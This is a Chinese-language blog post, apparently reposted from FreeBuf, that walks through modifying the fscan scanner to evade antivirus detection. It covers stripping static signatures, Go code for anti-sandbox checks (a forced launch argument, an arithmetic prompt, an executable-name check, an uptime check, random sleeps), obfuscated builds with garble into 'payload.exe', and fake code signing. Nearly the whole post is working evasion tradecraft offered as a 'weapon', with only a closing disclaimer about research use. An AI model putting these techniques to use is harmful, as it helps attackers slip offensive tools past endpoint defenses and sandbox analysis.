如何免杀自己的fscan

admin 2025年5月1日01:20:06如何免杀自己的fscan已关闭评论0 views字数 2540阅读8分28秒阅读模式

fscan二开绕过与免杀实录:从认识结构到免杀化绕过数字某绒

前言

在日益严格的安全环境下,传统的木马样本很容易被静态分析、行为分析所识别。本文记录我对某 Go 编写的fscan安全工具进行二次开发,通过绕过特征、减小体积,从而实现较高程度的免杀。

很多人都想要自己的一个免杀化武器 但因为并不是开发或者安全开发出生 二开这种大型项目是特别困难 本人开发水平也极低 甚至完全不了解go语言 很多大佬对fscan的免杀化处理更多的是对项目进行重构 这里我不会牵扯到过多的开发知识 更多的是免杀技巧 所以新手也可以观看

下载项目

这里我用的是 
https://github.com/shadow1ng/fscan的

git clone
https://github.com/shadow1ng/fscan

如何免杀自己的fscan

图中标记的地方是免杀的关键地方 基本做好这两个处理也就可以绕过大部分杀毒软件

除静态特征

如何免杀自己的fscan

首先去除静态特征 避免静态查杀 去除全项目下的"fscan"字样 fscan项目导入库含有大量的fscan项目 我们替换名称即可 修改成 module hacker

如何免杀自己的fscan

进入
go.mod文件
在module写上自定义的名字

如何免杀自己的fscan

如图所示 hacker变成是主项目 所有的就变成了hacker/xxxx 的形式 这样我们就去除了静态特征 此外在编辑器全局搜索fscan替换其他字符串

如何免杀自己的fscan

如图 箭头所指 参数分别为解析到的参数 命令行参数名 默认值 命令帮助输出

我们可以修改命令行参数名  让fscan运行的时候 参数不同 例如更改-h  原本-h的被我改成了ta

如何免杀自己的fscan

去除fscan中banner的信息 直接删掉即可 或者加入你想要的 尽可能避免危险字符串

如何免杀自己的fscan


i18n.go文件中是fscan帮助输出
我们可以对这部分进行修改实现更强的抗静态

过动态检测

接下来是绕过的关键

过动态的关键在于反沙箱和更换运行逻辑 对
main.go进行着重修改
可以参考我下面写的

func main() {
if len(

os.Args)

 < 2 ||

os.Args[1]

 != "confirm" {

fmt.Println("[+]

 请以 confirm 模式启动程序:

xxx.exe

 confirm")

os.Exit(1)


}//通过修改运行条件 默认无参数运行fscan会出现help 我们以固定一个参数才会正常启动 以此绕过沙箱的执行检测

// 注意这里是必要 因为前面的固定参数影响了fscan的命令解析 重写

os.Args,把

 "confirm" 去掉,否则

flag.Parse

 会误认为 confirm 是 -h

os.Args

 = append([]string{

os.Args[0]},


os.Args[2:]...)




//关键过沙箱 通过时间戳动态获得随机数 增加类似人机校验的操作 极大了加强了抗沙箱

rand.Seed(time.Now().UnixNano())


n1 :=

rand.Intn(15)


n2 :=

rand.Intn(15)


checktime()

fmt.Println("[+]

 enter your Verification")

fmt.Printf("[

 %d ] + [ %d ] = ", n1, n2)
var num int
_, _ =

fmt.Scanf("%d",

 &num)
if num != n1+n2 {

os.Exit(1)


}

check()

//随机睡眠时间 绕过部分沙箱的最大执行时间
sleeptime :=

rand.Intn(8)


time.Sleep(time.Duration(sleeptime)

 *

time.Second)


Common.InitLogger()



var Info

Common.HostInfo


Common.Flag(&Info)


_ =

Common.Parse(&Info)


_ =

Common.InitOutput()


defer

Common.CloseOutput()


Core.Scan(Info)


}

//这个函数非常好用 因为很多上传到云端的样本为了避免样本重名 会对样本进行改名 这时候我们检查当前运行的文件昵称是否被修改
func check() {
if

filepath.Base(os.Args[0])

 != "

can.exe"

 {

os.Exit(1)


}
}

//通过是绕过沙箱的操作 免杀里经常出现的 可以加入自己的想法 不过其实这里抗沙箱强度已经够了 不必多写
func checktime() {
var kernel =

syscall.NewLazyDLL("Kernel32.dll")


GetTickCount :=

kernel.NewProc("GetTickCount")


r, _, _ :=

GetTickCount.Call()


ms :=

time.Duration(r

 * 1000 * 1000)
//

fmt.Println("开机时常为:",

 ms)
tm :=

time.Duration(30

 *

time.Minute)


if ms < tm {

os.Exit(1)


}
}

编译与特征清洗:使用 garble 彻底打散 Go 二进制特征

为了提升免杀能力,我最终采用了 burrowers/garble 作为 Go 项目的构建器。它的作用不仅是 混淆变量名与函数符号,还能打乱静态结构、压缩调试信息、规避签名特征,非常适合用于生成更隐蔽的执行载荷。

garble 是什么?

garble 是一个透明的 go build 包装器,支持:

混淆符号名(函数、变量、结构体等)

去除调试信息(默认启用)

改写构建路径(默认启用 -trimpath)

随机化编译结果(每次构建输出不同)

支持构建 plugin、shared object、纯 PE 可执行文件

go install
mvdan.cc/garble@latest

安装后会在 $GOPATH/bin/garble 下生成可执行文件。

构建方式与 go build 类似,但会自动应用混淆和优化:

garble -literals -tiny build -o
payload.exe

main.go

说明:

-literals:混淆字符串/整数等字面量,绕过静态规则匹配

-tiny:进一步精简输出体积(剥离符号、缩减段表)

build:等效于 go build

这里已经完美的绕过了数字和某绒和defender 开发能力强的师傅可以对其他部分进行二开和重构

注意如果是数字的话 打入假签名效果会更好

如何免杀自己的fscan
来源:【
https://www.freebuf.com/articles/web/429244.html】

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月1日01:20:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何免杀自己的fscanhttps://cn-sec.com/archives/4022657.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.